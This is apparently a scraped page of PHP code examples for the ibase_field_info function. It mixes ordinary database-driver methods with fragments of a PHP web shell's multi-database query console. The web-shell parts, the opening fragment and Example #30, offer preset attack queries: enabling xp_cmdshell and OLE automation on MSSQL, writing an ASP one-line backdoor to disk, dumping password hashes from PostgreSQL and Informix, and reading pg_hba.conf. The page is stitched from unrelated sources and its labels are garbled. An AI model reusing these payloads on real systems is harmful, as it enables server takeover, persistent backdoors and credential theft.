        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=w&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
\tStr = new Array(5);
        Str[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
        Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
        Str[3] = "input 'D:\\createtable.sql';";
        Str[4] = "shell netstat -an;";
\tfbform.fbsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">tables</option>
        <option value="2">columns</option>
        <option value="3">import sql</option>
        <option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$fbrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    } else {
        $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost';
        $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : '******';
        $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : '';
        $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres';
        $pgaction = isset($_POST['action']) ? $_POST['action'] : '';
        $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : '';
        $pgquery = stripslashes($pgquery);
        print <<<END
<form method="POST" name="pgform" action="?s=w">
<div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;">
User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px">
Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br>
<script language="javascript">
function pgFull(i){
\tStr = new Array(7);
\tStr[0] = "";
        Str[1] = "select version();";
        Str[2] = "select datname from pg_database;";
        Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;";
        Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;";
        Str[5] = "select usename,passwd from pg_shadow;";
\tStr[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
\tpgform.pgsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br>
<select onchange="return pgFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">version</option>
        <option value="2">databases</option>
        <option value="3">tables</option>
        <option value="4">columns</option>
        <option value="5">hashes</option>
\t<option value="6">pg_hb.conf</option>
</select>
<input type="hidden" name="action" value="pgquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($pgaction == 'pgquery') {
            $pgconn = pg_connect("host={$pghost} dbname={$pgdbname} user={$pguser} password={$pgpass} ") or die('Could not connect: ' . pg_last_error());
            $pgresult = pg_query($pgquery) or die('Query failed: ' . pg_last_error());
            $pgrow = pg_fetch_row($pgresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < pg_num_fields($pgresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . pg_field_name($pgresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            pg_result_seek($pgresult, 0);
            while ($pgrow = pg_fetch_row($pgresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < pg_num_fields($pgresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$pgrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            pg_free_result($pgresult);
            pg_close();
        }
    }
}
Example #25
0
 function &FetchField($fieldOffset = -1)
 {
     $fld = new ADOFieldObject();
     $ibf = ibase_field_info($this->_queryID, $fieldOffset);
     $fld->name = strtolower($ibf['alias']);
     if (empty($fld->name)) {
         $fld->name = strtolower($ibf['name']);
     }
     $fld->type = $ibf['type'];
     $fld->max_length = $ibf['length'];
     return $fld;
 }
Example #26
0
 /**
  * Returns information about a table or a result set
  *
  * NOTE: only supports 'table' and 'flags' if <var>$result</var>
  * is a table name.
  *
  * @param object|string  $result  MDB2_result object from a query or a
  *                                 string containing the name of a table.
  *                                 While this also accepts a query result
  *                                 resource identifier, this behavior is
  *                                 deprecated.
  * @param int            $mode    a valid tableInfo mode
  *
  * @return array  an associative array with the information requested.
  *                 A MDB2_Error object on failure.
  *
  * @see MDB2_Driver_Common::tableInfo()
  */
 function tableInfo($result, $mode = null)
 {
     if (is_string($result)) {
         return parent::tableInfo($result, $mode);
     }
     $db =& $this->getDBInstance();
     if (PEAR::isError($db)) {
         return $db;
     }
     $resource = MDB2::isResultCommon($result) ? $result->getResource() : $result;
     if (!is_resource($resource)) {
         return $db->raiseError(MDB2_ERROR_NEED_MORE_DATA, null, null, 'Could not generate result resource', __FUNCTION__);
     }
     if ($db->options['portability'] & MDB2_PORTABILITY_FIX_CASE) {
         if ($db->options['field_case'] == CASE_LOWER) {
             $case_func = 'strtolower';
         } else {
             $case_func = 'strtoupper';
         }
     } else {
         $case_func = 'strval';
     }
     $count = @ibase_num_fields($resource);
     $res = array();
     if ($mode) {
         $res['num_fields'] = $count;
     }
     $db->loadModule('Datatype', null, true);
     for ($i = 0; $i < $count; $i++) {
         $info = @ibase_field_info($resource, $i);
         if (($pos = strpos($info['type'], '(')) !== false) {
             $info['type'] = substr($info['type'], 0, $pos);
         }
         $res[$i] = array('table' => $case_func($info['relation']), 'name' => $case_func($info['name']), 'type' => $info['type'], 'length' => $info['length'], 'flags' => '');
         $mdb2type_info = $db->datatype->mapNativeDatatype($res[$i]);
         if (PEAR::isError($mdb2type_info)) {
             return $mdb2type_info;
         }
         $res[$i]['mdb2type'] = $mdb2type_info[0][0];
         if ($mode & MDB2_TABLEINFO_ORDER) {
             $res['order'][$res[$i]['name']] = $i;
         }
         if ($mode & MDB2_TABLEINFO_ORDERTABLE) {
             $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i;
         }
     }
     return $res;
 }
Example #27
0
 /**
  * Returns information about a table or a result set
  *
  * NOTE: only supports 'table' and 'flags' if <var>$result</var>
  * is a table name.
  *
  * @param object|string  $result  DB_result object from a query or a
  *                                 string containing the name of a table.
  *                                 While this also accepts a query result
  *                                 resource identifier, this behavior is
  *                                 deprecated.
  * @param int            $mode    a valid tableInfo mode
  *
  * @return array  an associative array with the information requested.
  *                 A DB_Error object on failure.
  *
  * @see DB_common::tableInfo()
  */
 function tableInfo($result, $mode = null)
 {
     if (is_string($result)) {
         /*
          * Probably received a table name.
          * Create a result resource identifier.
          */
         $id = @ibase_query($this->connection, "SELECT * FROM {$result} WHERE 1=0");
         $got_string = true;
     } elseif (isset($result->result)) {
         /*
          * Probably received a result object.
          * Extract the result resource identifier.
          */
         $id = $result->result;
         $got_string = false;
     } else {
         /*
          * Probably received a result resource identifier.
          * Copy it.
          * Deprecated.  Here for compatibility only.
          */
         $id = $result;
         $got_string = false;
     }
     if (!is_resource($id)) {
         return $this->ibaseRaiseError(DB_ERROR_NEED_MORE_DATA);
     }
     if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE) {
         $case_func = 'strtolower';
     } else {
         $case_func = 'strval';
     }
     $count = @ibase_num_fields($id);
     $res = array();
     if ($mode) {
         $res['num_fields'] = $count;
     }
     for ($i = 0; $i < $count; $i++) {
         $info = @ibase_field_info($id, $i);
         $res[$i] = array('table' => $got_string ? $case_func($result) : '', 'name' => $case_func($info['name']), 'type' => $info['type'], 'len' => $info['length'], 'flags' => $got_string ? $this->_ibaseFieldFlags($info['name'], $result) : '');
         if ($mode & DB_TABLEINFO_ORDER) {
             $res['order'][$res[$i]['name']] = $i;
         }
         if ($mode & DB_TABLEINFO_ORDERTABLE) {
             $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i;
         }
     }
     // free the result only if we were called on a table
     if ($got_string) {
         @ibase_free_result($id);
     }
     return $res;
 }
 /**
  * Returns metadata for all columns in a result set.
  * @return array
  */
 public function getResultColumns()
 {
     $count = ibase_num_fields($this->resultSet);
     $columns = array();
     for ($i = 0; $i < $count; $i++) {
         $row = (array) ibase_field_info($this->resultSet, $i);
         $columns[] = array('name' => $row['name'], 'fullname' => $row['name'], 'table' => $row['relation'], 'nativetype' => $row['type']);
     }
     return $columns;
 }
Example #29
0
function sti_firebird_get_data($connection_string, $data_source_name, $query)
{
    $info = sti_firebird_parse_connection_string($connection_string);
    $link = ibase_connect($info["host"] . ":" . $info["database"], $info["user_id"], $info["password"]) or die("ServerError:Could not connect to host '" . $info["host"] . "', database '" . $info["database"] . "'");
    $query = sti_parse_query_parameters($query);
    $result = ibase_query($link, $query) or die("ServerError:Data not found");
    $xml_output = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Database>";
    $count = ibase_num_fields($result);
    for ($fid = 0; $fid < $count; $fid++) {
        $field_info = ibase_field_info($result, $fid);
        $columns[$fid] = $field_info['alias'];
    }
    while ($row = ibase_fetch_assoc($result)) {
        $xml_output .= "<{$data_source_name}>";
        foreach ($columns as $column) {
            $value = $row[$column];
            $value = str_replace("&", "&amp;", $value);
            $value = str_replace("<", "&lt;", $value);
            $value = str_replace(">", "&gt;", $value);
            $xml_output .= "<{$column}>{$value}</{$column}>";
        }
        $xml_output .= "</{$data_source_name}>";
    }
    $xml_output .= "</Database>";
    ibase_free_result($result);
    ibase_close($link);
    return $xml_output;
}
Example #30
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}